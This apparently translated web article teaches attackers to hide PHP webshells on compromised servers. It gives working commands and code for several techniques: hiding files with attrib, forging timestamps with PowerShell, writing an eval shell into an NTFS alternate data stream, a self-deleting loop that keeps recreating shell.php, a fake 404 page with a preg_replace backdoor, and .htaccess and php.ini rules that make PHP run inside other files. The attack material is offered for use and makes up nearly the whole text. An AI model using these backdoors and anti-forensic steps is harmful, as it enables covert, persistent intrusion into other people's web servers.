当前位置:网站首页>PHP backdoor hiding skills
PHP backdoor hiding skills
2020-11-06 22:33:00 【Official account Bypass】
If you want your own Webshell Stay longer , except Webshell Don't kill , There are also some hidden techniques to be aware of , Like hiding files , Modify time properties , Hide file contents, etc .
1、 Hidden files
Use Attrib +s +a +h +r The command is to add system file properties to the original folder 、 Archive properties 、 Read only file properties and hidden file properties .
attrib +s +a +h +r shell.php // hide shell.php file
2、 Modify the file time attribute
When you try to hide your newly created files in a bunch of files , that , In addition to creating a confusing file name , You also need to change the revision date of the file .
// Modification time modification Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"// The visit time was modified Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"// Creation time modification Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"
Use the command to get the file properties
Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force
Modify the creation and modification time of all files in a folder
powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"
3、 utilize ADS Hide file content
On the server echo A data stream file goes in , such as index.php It's a normal web page file , We can do it like this :
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg
This creates an invisible shell hidden.jpg, Regular file manager 、type command ,dir command 、del The order couldn't find that hidden.jpg Of .
utilize include function , take index.php:hidden.jpg Conduct hex code , Put this ADS file include go in , In this way, we can analyze our sentence normally .
<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>
4、 The undead horse
The undead horse will delete itself , Loop to create hidden backdoors in the form of processes .
<?phpset_time_limit(0); ignore_user_abort(1); unlink(__FILE__); // Delete yourself while(1){ file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); // establish shell.php, It's better to use the sentence of no killing here sleep(10); // Time interval between }?>
The simplest and most effective way to deal with it , Restart the service and delete it webshell file .
5、 Middleware back door
Will be compiled so File copy to modules Folder , Start the back door module , restart Apache. When sending a string past for a specific parameter , Can trigger the back door .
github Project address :
https://github.com/VladRico/apache2_BackdoorMod
6、 utilize 404 Page hidden back door
404 The page is mainly used to enhance the user experience , Can be used to hide backdoor files .
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html><?php@preg_replace("/[pageerror]/e",$_POST['error'],"saft");header('HTTP/1.1 404 Not Found');?>
7、 utilize .htaccess Document composition PHP back door
commonly .htaccess It can be used to leave backdoors and bypass blacklists , Create... In the upload directory .htaccess File is written to , It doesn't need to be restarted to take effect , Upload png File parsing .
AddType application/x-httpd-php .png
in addition , stay .htaccess Join in php Parsing rules , Include the file name with 1 Analysis into php, Upload 1.txt It can be parsed .
<FilesMatch "1"> SetHandler application/x-httpd-php </FilesMatch>
8、 utilize php.ini Hide backdoor files
php.ini You can specify the name of the file that will be automatically resolved before and after the execution of the main file , Commonly used in the common header and tail of a page , It can also be used to hide php back door .
; stay PHP Automatically add files before documents .auto_prepend_file = "c:\tmp.txt"; stay PHP Automatically add files after the document .auto_prepend_file = "c:\tmp.txt"
Need to restart the service to take effect , Visit any one of php File is available webshell.
This article is from WeChat official account. - Bypass(Bypass--).
If there is any infringement , Please contact the [email protected] Delete .
Participation of this paper “OSC Source creation plan ”, You are welcome to join us , share .
版权声明
本文为[Official account Bypass]所创,转载请带上原文链接,感谢
边栏推荐
- 打工人好物——磨炼钢铁意志就要这样高效的电脑
- Application layer software development Godfather teaches you how to refactor, senior programmers must professional skills
- 大佬们如何在nginx镜像里面增加模块?
- How to add modules to nginx image?
- 2020-08-14:数据任务的执行引擎用的哪些?
- 2020-08-15: under what circumstances should data tasks be optimized?
- 如何创建交互式内核密度图表
- Experiment one
- Code generator plug-in and creator preform file analysis
- Points to be considered when deleting mapping field of index in ES
猜你喜欢

How does LeadTools detect, read and write barcodes

插件Bilibili新版0.5.5

Configuration of AP hotspot on xunwei-imx6ull development board

JS array the usage of array is all here (array method reconstruction, array traversal, array de duplication, array judgment and conversion)

实验一

20个XR项目路演,近20个资本机构出席!诚邀您参加2020 Qualcomm XR生态合作伙伴大会

August 30, 2020: naked write algorithm: the nearest common ancestor of two nodes in a binary tree.

RFID fixed assets management system for fire equipment

2020-08-20: the difference between go and python?

September 9, 2020: naked writing algorithm: two threads print numbers 1-100 in turn.
随机推荐
轻量型 GPU 应用首选 京东智联云推出 NVIDIA vGPU 实例
[graffiti Internet of things footprints] panoramic introduction of graffiti cloud platform
JVM memory allocation - xms128m - xmx512m - XX: permsize = 128M - XX: maxpermsize = 512M
Js数组-数组的用法全在这里(数组方法的重构、数组的遍历、数组的去重,数组的判断与转换)
打工人好物——磨炼钢铁意志就要这样高效的电脑
Message queue - Analysis
2020-08-19: what mechanism does TCP ensure reliability?
Logo design company, Nanjing
[byte jumps, autumn recruitment Posts open] ohayoo! Don't leave after school, I want to ask you to play games!!!
Windows 10 蓝牙管理页面'添加蓝牙或其他设备'选项点击无响应的解决方案
Cloudquery v1.2.0 release
QT audio and video development 46 video transmission UDP version
WebAPI接口设计:SwaggerUI文档 / 统一响应格式 / 统一异常处理 / 统一权限验证
To solve the problem that the data interface is not updated after WPF binding set
2020-08-14:数据任务的执行引擎用的哪些?
Dynamsoft barcode reader v7.5!
南京标志设计,logo设计公司
How does varhart xgantt represent working days on a calendar
Utility class functions (continuous update)
Exclusive interview of guests at | 2020 PostgreSQL Asia Conference: Wang Tao